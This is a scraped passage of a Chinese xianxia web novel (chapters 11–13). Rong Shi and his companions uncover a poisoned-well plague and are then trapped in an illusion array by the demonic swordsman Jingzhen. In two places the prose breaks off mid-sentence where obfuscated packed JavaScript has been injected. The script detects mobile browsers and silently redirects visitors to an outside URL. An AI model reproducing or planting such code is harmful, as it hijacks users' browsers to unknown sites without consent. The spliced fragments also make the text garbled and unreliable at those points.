灼夜狠狠吃了一整块红烧肉,烦躁道:“怎么又是他。” “大家都知道,这二公子啊在战后不知为何性情大变,其实这原因很简单!”说书人吊足了胃口,拖了片刻继续道:“要我说呀,他是因心上人战死沙场,却为了保住家族地位,不得已和江州叶氏的三小姐成婚,才性情大变。然而多年过去,他在过往的回忆里越陷越深,完全没法接受心上人已死的事实,这才越来越疯了!” 容识微微皱眉。 都传说萧随心灰意冷,他还以为当年萧叶两家的婚事没成,可听说书人的口气,他们真成婚了? 这对叶三小姐来说,何其不公。 围观的人不乐意了:“你说的这些我们早就听说了,就没点新鲜的么?” “对啊对啊,都说二公子有个早死的心上人,那你倒是说说,他的心上人到底是谁啊?” 说书人不紧不慢道:“是青州衡芷山庄的芷鸢姑娘!” 真是胡编乱造。容识握紧了拳。 说书人侃侃而谈:“要我说呀,这二公子也真是个大情种,若是芷鸢姑娘在天有灵,也……” “你放屁!”有位年轻女子怒骂道:“芷鸢姑娘为保护我们凡人战死,你却在这里传她和萧随那个人渣的谣言,你的良心被狗吃了?” “就是就是,萧随心有所属,却为了家族地位跟别人成婚,他对不起自己心上人,也对不起叶三小姐,这也能叫大情种?” “一个骗婚的贱人,该杀。”一个冷静的女声格外明显:“这个说书人,舌头也该割掉。” “说得好!”云明急得怒拍大腿,“可恶,要不是得隐瞒行踪,我非要上报仙盟把他抓了!” 灼夜夹着红烧肉的筷子停在半空:“这个声音好耳熟啊。” 容识点点头:“是兰玦。没想到还能遇上。” 外面群情激奋,“什么脏心烂肺的东西,也敢侮辱芷鸢姑娘,滚!” “对,给我滚!” 接着是饭菜砸在人身上的声音,容识把门推开一条缝,看见说书人浑身脏污,落荒而逃。 “容识?容识?” 容识在呼唤中回神,灼夜歪头看他,像只疑惑的小动物:“你心情不好?” 云明看了下容识的脸:“不是我说,这几天来,他除了没表情和笑,脸上就没有别的东西了,你是怎么看出来他心情不好的?” 灼夜“啊”了一声:“其实,我也说不清楚。” 他没有什么判断人喜怒哀乐的技巧,只是直觉如此。 容识轻轻摇头:“那日在山庄,我们闹出的动静那么大,却未见叶三小姐,她是不是……被萧随圈禁了?” 11. 传言 容识心下不免担忧,叶三小姐是一个活生生的人,如何能忍受那遍地的傀儡? 它们却存在了那么多年。 说明她在萧氏没有任何自由。 “这倒不用担心。”云明摆摆手:“他们两个成婚后就没在一起住过哪怕一天,成婚一年后,三小姐坑了萧随,借他的权势回到叶氏,把老爹软禁,自己当家主了,从那以后,她就没回过萧氏,不久两人就和离了,现在很多年轻人都不知道萧叶两家联姻过了。萧随被坑也是活该,三小姐真是英明。” “那就好。”容识稍稍松了口气。 叶三小姐没有危险,还成了叶氏的家主,是最好的结果。 这复杂的人际关系让灼夜彻底呆住,他伸出一只手,掰着算着:“所以说,萧随喜欢的是男人,却和女子成婚,可那个说书人又说,他喜欢的是一位姑娘……” “他喜欢的到底是男是女?”灼夜有点晕了,他晃了晃脑袋,握拳肯定道:“不管怎么说,他都是人渣,对,人渣,太可恶了!” 生气了一会儿,灼夜又问:“那芷鸢姑娘是谁,听他们的话,她好像很厉害。” 容识和灼夜一起看着云明,等待他的解说。 云明乐滋滋道:“问我可就问对人了,毕竟我这人,最喜欢研究历史和话本。” “很多年前旧仙盟暴虐无道,就有很多门派在几个大宗门或是大家族的领导下组成盟会反抗。苍梧派、叶氏和容氏组成了敬慎盟,萧氏、衡芷山庄、列星宗组成的行道军,灵溪剑宗和南海明氏率领的叫诛恶盟。三大盟会几年后在望仙乡统一成清源盟,也就是现在的仙盟。那时清源盟里有七位善谋善断的青年才俊,被称为望仙七算。芷鸢姑娘就是其中之一。她的确很厉害,指挥作战、庇护凡人的事迹数不胜数,可惜在决战那年,她为了保护凡人,被旧仙盟的杀器飒沓流星击中,战死了。” 喜欢研究历史和话本…… 容识不免想起一位故人,那人也特别喜欢看话本,他看过的为数不多的话本,都是那人塞给他的。 灼夜莫名觉得容识心情更不好了,偷偷观察了一下他,却真没看出他的表情和以往有什么不同。 灼夜猜测,容识应该和自己一样,是听到芷鸢姑娘这么好的人和萧随扯上关系,才心情不好吧。 他只好追问云明:“那望仙七算都有谁啊?” 云明道:“前苍梧派首席大弟子、现任仙盟盟主师赢、叶氏长公子、仙盟长老叶轻,萧氏二公子萧随,曾经的灵溪剑宗长老镜真,青州衡芷山庄的芷鸢姑娘,散修隐山先生……还有南海明氏的明彧。” 他叹了口气:“芷鸢、隐山和明彧都战死了,留下来的四人,也没几个正常的。” 灼夜小心地问:“那另外几人,也和萧随一样?” “那倒不至于。”云明想了想,“只是最近有很多关于他们的传闻,说……” 一股撕扯感突然笼罩全身,容识瞬间心脏狂跳不止,眼前一黑,神魂像是脆弱的宣纸,稍一用力就会撕成两半,他险些跪倒在地。 “容识!” 灼夜扔下到嘴边的肉,蹦起来到容识身侧扶住了他:“你怎么了?” 云明也赶忙给容识把脉,却一脸迷茫:“这……他没事啊!” 容识捂着心口大口喘气,那股撕裂感只有一瞬便退去了,但他后背已经被冷汗打湿。 “我没事。”他低声道。 灼夜不放心:“真的么?” 他从容识的脸上看不出什么,只是感觉他不再浑身紧绷,便扶他到榻边坐下,拿了杯水塞到他手里:“你喝口水。” 容识靠在床头,接过杯子喝了几口,清凉的水带走了残留的不适。 “好点了么?”灼夜摸着他腰间的储物袋,拿出一盒荷花酥,“菜都吃完了,要不要再吃些点心?” 云明说容识吃东西就是在补身体,灼夜解决不了他的症状,只能让他多吃点,多补补身体。 容识没说话,拿了只荷花酥吃。 “应该是身体太虚弱的原因……”云明在旁边翻了会儿医书,没找到容识突感不适的原因,只能归结于此,“得尽快借到药。” 灼夜看着明显恹恹的容识:“你要是还难受,就多吃点。” 容识道:“好。” 灼夜说的他都知道,只是每次看到这样真诚的人纯粹地关心自己,还是会有些无所适从,除了答应,他不知道还能回应什么。 他只好回想刚才的情况。 他的神魂没有问题,怎么会有被撕扯的感觉?和被怨魂啃噬也不太一样,莫非是什么后遗症? 容识想了片刻便觉困倦,躺下后一直睡到第二天晌午,刚开门灼夜就从旁边房里跳出来:“容识你终于醒了,要吃饭么?” 看他的样子,是一直听着容识房内的动静。 容识无奈地笑,灼夜见他没有拒绝,便下去叫人送饭了。 饭菜上来后,三人照旧聚在容识屋子里吃,云明边吃边说:“容识你不知道,昨晚你睡得早,我们刚出你这门,就碰上挨个儿房间给客人道歉的掌柜了,他说他本想换个新的说书人,让客人也新鲜新鲜,没成想那说书人竟做出污蔑芷鸢姑娘的事,他发誓以后再不聘那个说书人来,为了补偿大家,昨天所有在这儿用晚饭的客人,都免一天房费和三顿饭钱。这个结果还不错,可是那个说书人,光不聘他有什么用?最好给他关仙盟大牢里,让他知道知道什么叫祸从口出!真是便宜他了。” 灼夜附和地点头,容识不置可否。 他想起在望仙乡和芷鸢初见的时候。 天空澄澈明净,是个好天气,他出城迎接传说中清冷绝尘的芷鸢姑娘,却只瞧见一个睡在树上,手里还攥着一把瓜子的女修。 手里的瓜子快掉完了,女修才一个打挺起身,她揉了揉蓬成一团的头发,打了个哈欠,双眼朦胧地看着他—— “啧,怎么是个面具男,不是说这边有很多美人么?庄主那个杀千刀的,又骗我。” 衡芷山庄的庄主说,她的最后一句话是:“庄主你个杀千刀的,不是说被飒沓流星击中的人不会疼么?他爹的,真的好疼啊。你以后给我上坟,记得带一百包瓜子啊。” 被飒沓流星击中的凡人,几乎是瞬间殒命,的确不会太痛苦,但修士的身体比凡人坚韧百倍,被击中后,无法扑灭的火焰会将人活活烧成灰烬。 芷鸢……还有记忆中的很多人,都曾经那样鲜活地活着。 如今都付与云烟。 容识闭上了眼。 外面忽然响起敲门声,云明神色紧张起来:“谁?” “云明哥哥,是你们么?” 云明松了口气,起身开门,笑意盈盈的青音站在门外,她身后是沉默不语的兰玦。 青音兴奋道:“我们刚用完饭上来,我就说方才的声音耳熟,真的是你们啊。没想到我们还能碰上,这就叫做缘分!诶,你们住这儿,是不是也打算去列星宗借药呀?” 容识手支着头道:“对。我身体不好,路过平蔚的时候,想着不如趁这个机会也去借药来调理一下。” 灼夜看着容识,不明白他为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373077|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么又没说真话。 让人站在门外说话总归不好,云明便让两人进屋坐下。 “原来是这样。”青音看了看容识,见容识回以一笑,才说:“不然我们结个伴吧,这样再遇到什么危险,人多也好应对。” 容识点点头,“好啊。” 他答应得爽快,灼夜和云明也没有说什么,青音拽着身前的辫子笑道:“那就太好了!” 她倾身神秘道:“刚才在门外听到云明哥哥说那个说书人的事,其实当时我们就在堂内,姐姐气得快炸了。所以在他跑出去落单的时候,我和姐姐跟了上去,送了他一份大礼。” 灼夜饭都忘吃了,“什么大礼?” 青音侧头看了下兰玦,兰玦只好道:“也没什么,就是让他说不了话了。” “啊?”灼夜想起兰玦那句“舌头也该割掉”的话,“你,你们把他舌头割了?” “怎么会呢。”青音眨了眨眼,“我和姐姐怎么会那么心狠手辣。就是对他施了个法术,让他半个月不能开口说话而已。我们还特意问了他身上有多少钱,知道他十几天不说话、不接说书的活也饿不死才这么做的呢。” “哦……”灼夜提着的心放回了肚子里,吃了块红烧肉压惊。 他还惦记着昨天云明说的话,方才便想问来着,现下终于逮到机会:“你昨天说的那些传闻,都是什么?” “哦,你问那些传闻啊,”云明讲起八卦来滔滔不绝:“就是最近有传言说,师盟主在自己殿里挂满了倾慕之人的画像,不过那人已经死了,所以他修习了禁术,用自己的灵力和血肉供养那画。” 荒谬。 容识脑子里又冒出了这两个字。 师赢最在乎他的权势地位,这么做,不是等着别人抓他的把柄,把他从盟主之位上踹下去么? “还有,望仙七算里不是有一个曾经的灵溪剑宗长老,叫镜真么,为什么是曾经呢,当然因为他现在不是了。仙盟建立没多久,他就以无情道入魔了,据说他用尸山血海弄了个什么养魂阵,还踏遍了修真界,想要找到已经死去的心上人的一缕残魂。” 容识抬起了头,镜真入魔了? 镜真最在意修为,飞升是他这辈子最重要的事,入魔后灵脉逆转,体内灵力荡然无存,前半生所有的努力都会功亏一篑,他也能心甘? 容识有些恍惚。他是不是来到了和之前不同的世界,就像话本里说的“穿越”? 那可是修真界百年来最有希望飞升的人,未满五十岁的大乘期,几千年来天赋能与镜真比肩的人屈指可数。 但……容识想起千重渊封印上的剑气,熟悉到他一瞬间便知道那是镜真所有。 镜真曾在他坠落千重渊后试图劈开封印,这样想来,这人会入魔似乎也可以理解了。 以前他体质特殊,控制不好体内灵力运转,就算知道以灵力刻阵的办法,做起来也难,还是镜真为他讲解天地灵气万物规则,教他世间兵器的攻克之法,他才明悟许多,有了保命的底牌。 可后来,总是物是人非。 容识看了下兰玦和青音,她们两个都没什么大的反应,好像早就听说过这些传言了。 这些事,难道在修真界已是人尽皆知了么? 按理说,师赢不会任由这些对自己不利的流言传播得这么广…… 云明感慨很深:“总之传言里面的这两个人,和萧随疯得旗鼓相当,疯得如出一辙。你们说,他们都为了心上人发疯,而且都互相认识,有没有可能,他们的心上人就是同一个人?这个人,会是谁呢?” 12. 水源 容识沉默地拿了茶杯,送到唇边时,忽然闻到一股异常的香灰味。 他心脏重重地跳了一下。 这个味道是…… 决战那年,旧仙盟大厦将倾,想拖慢清源盟的脚步,便围困甘邑,投下瘴气,导致甘邑城中瘟疫横生,数万凡人因此而死。 感染疫病的人,浑身如同火烧一般滚烫,五脏六腑急速腐烂,无数药修医修都未能研究出破解之法。这种疫病最后被药王山命名为“火流疫”,他们查出毒源有两种,一种是瘴气,一种下在水里。 被下了火流疫毒源的水,就是一股香灰味。 寒意彻骨,容识眼见灼夜手里的茶杯到了嘴边,一掌过去把杯子打掉,茶杯“啪”地一声碎了一地。 灼夜抬起头,迷茫地看他,他的脸色和第一次看见糯米时一样难看。 容识道:“水里有毒。” 昨天喝水的时候,他神魂不稳,没觉出水有问题。 “啊?”灼夜看着地上的茶杯,满目惊恐。 “什么?”云明死盯着杯里的水:“有毒?我怎么没闻出来?” “怎么会?”青音和兰玦站起来,“我和姐姐也没在水里闻到过什么味道呀。” 云明举起茶杯凑近闻了闻,“好像是有一股特殊的味道……” “是香灰味。”容识不想透露自己曾经的身份,只引导说:“我也不确定是什么毒,就觉得这水的味道有些古怪。” “香灰?”云明专攻疑难杂症,立刻想起来:“火流疫?” 他马上拿出医书翻到火流疫那一页,“我没记错,是香灰味!可是火流疫不是早就消失了么?” “那是什么?”灼夜紧张地问。 兰玦和青音围在云明身侧看他的医书。 云明简单介绍了一下,听到甘邑数万人因此丧命,灼夜脸色登时煞白,“那么多人都……我昨天喝了好多,怪不得我总闻着水里有一股味道,还以为客栈里的水就是这样的。我,我们都喝了这水,会不会……” 容识伸手按住他的肩膀,定定地看他:“不会。” 他不会再让历史重演。 灼夜和容识对视,对方身上总有种发生任何事都能应付得来的沉稳感和魄力。 他点点头,被容识身上的坚定感染:“嗯,我相信你。” “对,不会的。我可是山主的亲传弟子!”云明咽了口唾沫,他心里也没底,但他是唯一的医者,必须装出胸有成竹的样子,“修士身体更强韧,比凡人喝进肚子里双倍的量才会病发,我们应该暂时没事!” 容识直接道:“云明,你装作吃坏了肚子,去问店家他们的食物和水都是哪里来的,再问问你们山主有没有缓解之法。” “行!”云明说完,一边捂着肚子下楼,一边拿出药王山弟子令牌给师尊传了音。 容识起身推开窗户,看着街上熙熙攘攘的人群。 客栈的水一般都取自水井,如果毒源下在水井里,那半城的人都会有染病的可能。 好在今日的水,香灰味不是很浓郁,不用心闻还闻不到,应该是刚下不久,仍有挽回的可能…… 灼夜跟着容识身后,莫名觉得他身上有股沉重的气息,似乎心情很不好,便问:“容识,有没有什么我能做的?” “对,有什么事尽管说,你们救了我和姐姐一命,我们肯定是要帮忙的。”青音跟上前来。 楼下后厨传来隐约的吵嚷声,是云明在质问掌柜,容识听到掌柜压低了声音解释:“咱们这儿的菜,都是菜农每天天不亮送来的,怎么会不新鲜?水是在客栈后院外的水井里打的,这条街上的人都用的那口井里的水,也没见谁闹肚子……” 容识回头看着兰玦和青音,“那就麻烦你们,帮忙去城南城北各处的水井看看,看里面的水是不是也有香灰味。” “好。”两人转身便下了楼。 “那我呢?”灼夜凑到容识跟前。 容识道:“你去城东城西,记得戴上帷帽。” “好,我这就去。”灼夜一口答应,回房拿了帷帽扣在头上,匆匆出了门。 街上,兰玦脚步飞快,侧过脸问:“为什么一定要和他们结伴?依我看他们原本就是为借药而来,听我们也来借药,却没有主动说结伴这回事,说明本来就不想跟我们一道。” 青音抬手遮挡午时灼热的日光,“因为姐姐更重要。我觉得容识看上去只有筑基,实则他的实力不比元婴修士差,灼夜是我们几个人里修为最高的,至于云明,看他手里的药粉就知道是药王山弟子。能和他们结伴,我们成功的可能也更大,不是么。” 兰玦微微皱眉,没再说什么。 “姐姐你就放心吧。我一敲门容识哥哥就知道我想做什么了,但他还是同意了呀。他么,看着冷冷的,却是个最心软的人。更何况我们也从没想过对他们不利。”青音拍了下兰玦的肩膀,“现在,井水的问题更重要。” 半个时辰后,三人返回到容识房中。 容识问:“井水可有异样?” 灼夜低下头:“我看了四十三个水井,都有香灰味。” 青音皱着一张脸,拽着兰玦的衣摆:“我和姐姐看了三十七个,也都有香灰味。” 容识心下一沉,这是最坏的结果,算时间,再有五天全城的人就会病发,他不忍去想到时的惨状。 他对云明道:“你先上报仙盟。” 云明火速写完信笺,叫来传信鸟送了出去,接着便一直看着手心捧着的弟子令牌。 等了半盏茶的功夫,令牌终于闪了一下,他马上听传音的内容,片刻后喊道:“我师尊说,如果火流疫尚未毒发,醉春风或许有用!” 容识等的就是这一句,当年的药王山山主也曾这样说过,只是这话不能由他说出口。 他沉声道:“我们即刻启程,去列星宗。” 灼夜犹疑道:“可不是说列星宗后天才开山门么?” 他看到容识的眼沉静如水,却有不容忽视的坚定:“一城之人,孰轻孰重,想必宗主心中有数。” 云明把糯米寄养在了客栈,退还客房后,几人乘着药罐盖子一路向东而去,直奔列星宗。 “列星宗宗主的脾气十分古怪,有时候我师尊都说不动他,”云明还是不免担忧:“要是他执意不肯……” 容识淡淡道:“那就抢。” 灼夜忍不住侧头看他。他看着瘦削,像是连重一点的武器都拿不动的样子,却总是能叫人相信他。 哪怕他们要面对的可能是满目荆棘、腥风血雨。 顷刻间雾气环绕的山门近在眼前。 杀气猛然迫近,容识当即道:“有埋伏,都下去!” 话音刚落,数十只飞刀从四面八方而来,几人闪身落地,云明刚把灵器收回,死士便潮涌般围了上来,法阵从天而降,把灼夜云明、兰玦青音死死困住。 容识后撤得够远,不在法阵范围中,他神识扫了一圈,出现的有十六个死士,隐在暗处的还有五个。 他当机立断:“灼夜在东,云明在西,兰玦青音分守南北,我来破阵。” “好!”灼夜完全信任他,一拳打退两个死士,被下毒的愤怒和害怕化为出拳的力道。 眼前刀光剑影,灵力翻飞,暗处死士虎视眈眈,容识并指调动十几颗石子,准确命中明里暗里所有死士的心口,接着抬手结印,银白色阵纹迅速在周身浮现。 他是可以直接祭出陨仙阵那样的大杀阵,但杀阵伤敌一千自损八百,以他现在的身体,开阵等同于自杀,只能从旁辅助四人战斗。 灼夜一脚踹开三个死士,掌心升腾的火光将二人吞噬。 云明一手夹住三个瓷瓶,一手用灵力引毒药扑向两人。 青音袖中白绫将两人人高高卷起,重重摔下。 兰玦手中剑光闪烁,三人被刺中心脏,剑身却半点鲜血不沾。 容识终于明白为何自己觉得兰玦剑法眼熟,那是留夷宗宗主虞灯自创的“青出于蓝”剑法。他与虞宗主曾为战友,甘邑爆发火流疫时,他们都被困城中。 此时天空又一个法阵压下,阵纹光芒刺眼,四人皆猛地单膝跪地,被压得一时动弹不得。 是镇灵法阵,有压制修士境界、使灵力无法运转之效! 这种法阵,元婴后期以上的修士才能初步掌握,这些至多金丹后期的死士怎么会用? 容识飞身而去,悬在半空,掌心灵力涌动,灌入镇灵法阵,面对的庞大力量告诉他,这是货真价实的镇灵法阵! 他们背后的人恐怕不简单。 他紧紧咬牙,灵脉中泛起熟悉的刺痛,可法阵内四人虽然勉强起身,但交战时已力道不足,灵敏欠佳。 容识皱眉,灵力涌动越发剧烈,长发无风自动,但下一刻,神魂撕裂成两半的疼痛突然劈下,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373078|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体控制不住地一颤,镇灵法阵反噬过来的灵力瞬间击中了他。 他口中鲜血喷涌,直直倒飞出去。 “容识!” 灼夜的叫喊由远及近,容识尚未落地便觉出一只手按在了自己的后背,他痛得一时说不出话。 可一股熟悉的惊天剑气极速而来,他挣扎道:“后撤——” “轰——”恐怖的余波过后,所有死士的身影都消失在剑气之下,灰飞烟灭。 云明、兰玦和青音落在容识和灼夜身前,几人都是脸色苍白,这令人悚然的力量让他们心中后怕,要不是容识喊得及时,他们又反应够快,现在怕是和那些死士一样连尸体都找不到了。 而且他们都被余波冲击,受了内伤。 已经跑得这么快了,余波还是这样猛烈,对面那人到底是什么修为,化神?还是大乘? 剑气造成的灰尘落下,露出一个孤峻冷漠的执剑之人,手中长剑剑身全黑,极为独特。 外围三人握紧了手中武器,严阵以待。灼夜的视线从容识身上移开看了来人一眼,直觉他和萧随一样危险且令人讨厌。 容识轻咳几下,与那人对视。 那人眉眼凌厉如刀剑刻就,只是明明一身纤尘不染的白衣,通身却是说不出的诡异,透着血腥和邪肆。 ——镜真。 多年不见,他竟然真的入魔,变成了这副模样。 几人的重重保护中,镜真看到一张陌生的脸,那人靠在年轻修士的身侧,脸色惨白,眉间那黑色小痣便更加明显,他似是累了,眼眸半阖,只露出一点不见明光的瞳孔,好像高坐垂眸的神明。 神明无心,于是救他于深渊又离他而去。 镜真不知道那个自己苦苦追寻的人长什么样子,但在看到他的瞬间,一切都尘埃落定。 容识攥紧了灼夜的衣袖:“快进山门!” 话刚说完,便见镜真抬起长剑,杀意毕现,容识急道:“快走!” 几人当即转身,流星般迅速飞入身后山门之中,镜真的剑气紧随其后,轰然炸在山门上,灰烟过后,浓雾仍在,山门也完好无损,且还是难以看清山门之后的景物。 镜真有些意外这世上还有自己不能凭武力解决的事,须臾也飞入山门中,被浓雾吞噬。 进山门后容识眼前一黑,依靠着的躯体忽然消失,他一时不妨,跌倒在地。 突如其来的震动牵动体内疼痛,容识忍不住咳嗽几声,捂住了胸口。他动用大量灵力又被法阵反噬,五脏六腑都疼得要碎了。 他站不起来,便坐在地上查看周遭的情况,不想看到的只是一片漆黑,唯有前方三尺之处有细微的光,光里有两行字,是“入阵者需念出汝名,连错三次者踢出山门,永不入阵”。 这是最普通的问名阵,答出真实姓名便可破阵,设此阵一般是为了防止有人用假身份或假冒他人入阵。 但……已经可以入阵了?不是后日才开山门么? 容识心有疑问,思虑片刻道:“容识。” 光芒闪烁了一下,那两行字消散后,再次出现的是“错一”。 不行么?容识闭眼叹了口气。真实姓名……自己给自己改的名字,如何算不得真名? 他沉默了一会儿,认命道:“应识。” 灼夜刚进阵就发现自己身侧的容识不见了,他急着找人,“容识?容识!” 这里一片黑暗,没有边界,除了自己的声音,再没有别的声响,空寂得让人心里发慌。 光亮处的文字闪了一下,变成了“错二”。 灼夜这才注意到那唯一的光亮处,上面还有字,他挠挠头问:“错了?我错了?那你是不是知道他在哪儿?” 文字没有变化,他着急道:“你快说啊!他到底去哪儿了?” 这回字终于变了,灼夜满心期待这玩意能告诉自己容识在哪儿,却只看到两句话,他念道:“入阵者需念出汝名……问我名字?灼夜!” 云明看着问名那两行字,纠结了须臾,答道:“明允。” 兰玦没有思考,直接报了名字,青音则是盯着字想了许久,才说:“林棠。” 说完了名字,几人便见那处光芒越来越强,直至将自己吞噬其中。 亮光过后,容识看见黑云笼罩不见一丝日光的天,他低下头,眼前是无数修士和凡人的尸体。 这是……决战那年的甘邑。 13. 幻境 容识被迫回想起一些往事。 甘邑本由镜真和他一同守城,之后他收到调令,要他前往中州附近战场,他便暗中出城。怎料镜真不顾守城突然闭关,城中事务悉数由下属操办,仙盟的人趁机潜入城中下毒,致使数万人病发。 中州附近战况稳定后,容识听闻此事立即暗中折返,却在返回路上遭了暗算,险些丧命,拼死回到城中后,只见一片人间炼狱。 药王山的人说,火流疫未曾病发时,可以用醉春风缓解,若是病发,化神以上大能用半身精血加上世间最强的净化之力,除去毒源,疫病可解。 能救所有人的,只有镜真。 火流疫因他擅离职守造成,由他化解,也是将功补过。 当时城外仙盟大军压境,容识一面应付他们的攻击,一面要寻找毒源,只能让下属前去请镜真出关。然而下属跪求一天一夜,镜真仍旧闭门不出,只能回来复命。 容识难以置信,只能苦苦支撑。 不是没有向其他盟军求援,但如他所想,附近已经没人有能力前来援助了。 五日后,城内境况更加糟糕,容识别无他法,彻夜不眠研究出以大阵净化瘟疫之法。他在一对母女口中得知有仙人来过城里,且在一个井边待了很久,据此找到了最初有问题的那口井。 大阵与最初的毒源都在掌握之中,万事俱备。 只不过若是镜真来,需要付出的是半身精血,而他,神魂俱灭。 他知道,仙盟盟主的义子应危一直想杀他,这次的瘟疫,本来就是冲着他来的,不想连累了这么多无辜。 数万百姓惨死,城内留守修士也折损大半,此番种种,他也有责任。 以命相还,也属应当。 可大阵将成时,镜真终于出关,一剑破阵,将他救下。 容识受到反噬,昏迷三天才醒,那时所有被感染的人都已死去,瘟疫因此消散。 他只能下令将已死之人的尸骸焚毁,以免瘟疫扩散。 镜真陪同在侧,他问对方是否听到同僚的哭求,镜真只说:“他,很吵。” 容识指着眼前的骸骨,麻木道:“就在五天前,那对母女还在对我笑。” 她们说他是平定修真界的大英雄,说真想看看没有战乱的九州是什么样子。 那位母亲的丈夫死得早,为了女儿,洗衣刺绣她什么都做,长年累月下来,也攒了一些钱。女儿听闻不远处的另一座城里有特别好吃的点心,想去看看,母亲也答应她再过一个月就去玩,瘟疫却来了。 她们什么都没有留下。 镜真却皱眉看他:“乱世之中,死伤在所难免。你身为修士,应当顺应天命,否则于修行无益。” 容识一字一顿道:“天、命?甘邑此劫并非天意而是人祸,是因为你……和我。” 旧事故人云烟消散,容识再睁开眼,看见已经入魔的镜真立于雪山之巅,对方的白衣和周遭冰雪几乎融为一体。 他起不来身,镜真却眨眼间近在咫尺,向他伸出了手,对方周身浓重的血腥气让他几欲作呕, 那手还没碰到他,一袭青绿色突然闯入视线中,一掌逼得白色身影后退数步。 是灼夜! 灼夜见镜真看容识那眼神就知道,他和萧随是一样讨厌的人。 为什么总有疯子这样对待容识?他们都好讨厌。 他这样想着,嘴上便很难客气:“你想做什么?” 然而话没说完,强烈的剑气迎面而来! 容识心下一跳:“灼……咳咳……” 他刚开口说出一个字,接下来的话就全被咳嗽呛了回去,再抬头,灼夜被一剑重伤的场景并没有出现,他赤手空拳竟能和镜真打得有来有回。 不对劲! 容识紧盯着镜真手中之剑,他满身都是杀气,且从不拐弯抹角,按他的脾气和实力,现下灼夜早该死透了。他也不会刻意和修为低于自己的人打成平手,这比让他死了还难受。 心里有了猜想,容识忍痛凝聚灵力在指尖,果然灵脉滞涩,灵力运行十分费劲,他现下的修为只怕还不如刚引气入体的孩童。 幻境压制了所有人的修为境界,这个阵法……最少是大乘阵了。 还是不对,似乎从镜真出现,他的修为就有问题。以他的境界,如果真想杀掉碍眼的人,当时在山门外,除了自己,在场所有人都会死。 他不是个会手下留情的人。 方才灼夜那一掌着冲天怒气,也不可能真把镜真逼得后退。 难道是因为入魔,镜真的修为出现了问题? 可天赋是不会骗人的,他这样的天才,就算修了魔,也应该很快便能重回大乘期。被压制境界后至少也是元婴,不可能和金丹打成平手甚至还被压了一头。 灼夜的境界并没有跌落许多,还在金丹期,大约因为他是上古神兽。 容识见镜真身上杀意越来越重,几乎能凝出实体把灼夜捅个对穿,他应当已发觉境界压制这件事。镜真做了那么多年的修真界第一,实战经验比灼夜多得多,再这样下去…… “灼夜,打掉他的剑,双方赤手你更有胜算!” “好!” 掠过身边的风都带着赤裸的杀意,为什么世上这么多人会对根本没见过面的人下死手? 灼夜不明白,就算在随山山庄,萧随都没有这么想杀他。 他迎上镜真视万物如草芥的眼,更是浑身不爽,掌心灵力涌动,直直对上镜真的剑尖,再有一寸便会被刺破手掌,剑尖与掌心汇聚的灵力翻涌,双方皆不能自控地颤抖不已。 可镜真意不在此,只侧身去看容识,下一刻灵力爆发,他倒退数十步,唇角淌下鲜血,“当年我教你天地灵气万物规则、所有兵器的长处与弱点……并非是让你今日襄助我的敌人。” 他不顾自己受伤,都执意要问出一个答案。 这人简直不可理喻! 灼夜挡在容识身前怒道:“你想杀我们,还不许我们反抗么?你到底是谁?” 听他说的话,他和容识以前很熟? 镜真擦去唇角血迹,“我与他之间的事,无须外人置喙。” “你!” 又是这种腔调,萧随也是这么可恶!好像全天底下只有他们认识容识、和容识关系匪浅,其他人全是外人。 灼夜想起云明那番猜测,这人该不会和萧随一样,把容识当成心上人了吧? 这一个两个都眼瞎? 容识垂眸,“这位……仙尊,我们似乎并不认识,何以有教授术法一说呢。” 雪山内部忽然传来隆隆的声响,他尚未思索原因便身下一空,急速坠落下去,连灼夜的衣摆都没能抓住。 “容识!” 他听到灼夜的叫喊,眼前只能看到白色、土色和黑灰色的团状物体,原来雪山瞬间分崩离析,整个世界都好像在无尽地下坠。 忽然一团白色身影靠近,对方的手离他手腕只剩一寸。 容识这才看到镜真的脸,足尖在脚下石块上一点,霎时后退几丈远,镜真穷追不舍,长剑将四周所有的东西劈得粉碎。 剑气横扫,容识急急后退。“容识快停下!” 如何能停?镜真快要抓到他了!灼夜看到他身后上方坠落的巨石,再退几步他就会一头撞上去,不死也残! 容识知道自己快撞上那块石头了,然而四面八方唯有那一方可逃! 镜真看到容识身后的巨石,再追下去他便会撞上去,怕会横死当场。 但他没有停下。 “容识低头!” 眼见容识继续后退,灼夜一掌把身侧巨石拍了出去,两块巨石在容识身侧一丈轰然相撞! 容识低头,身体落入一个温热的怀抱,他听到对方喉间一声闷哼,急道:“灼夜!” 灼夜用后背替他挡住了无数的碎石! 离得那么近,爆炸的威力可想而知,灼夜…… 灼夜只是看着他笑:“我才不会让他带你走!” 后背和内脏好疼,被好多小石头砸到,还受到不小的爆炸冲击,还好容识没撞上,他的身体那么虚弱,怎么受得了? “你不用……”容识还未说完,一阵白茫茫的雾气涌来,他下意识抓紧灼夜的衣袖,指尖却只剩冰凉。 脚下传来土地的实感,他腿脚一软,被斜前方一只有力的手扶住了臂弯。 隔着雾气,容识看到一袭黑衣的女修,“兰玦?” 对方瘦削的下颌轻轻一点:“是我。一进来就陷进这雾里,然后碰到了你。” 前方几道剑气乍然袭来,劈开浓重的白雾,兰玦偏头,手中长剑迎面碰上剑气,被震得后退数步。 这是……山门外那个剑修的剑气? 雾气逐渐消散,镜真从远处走来。 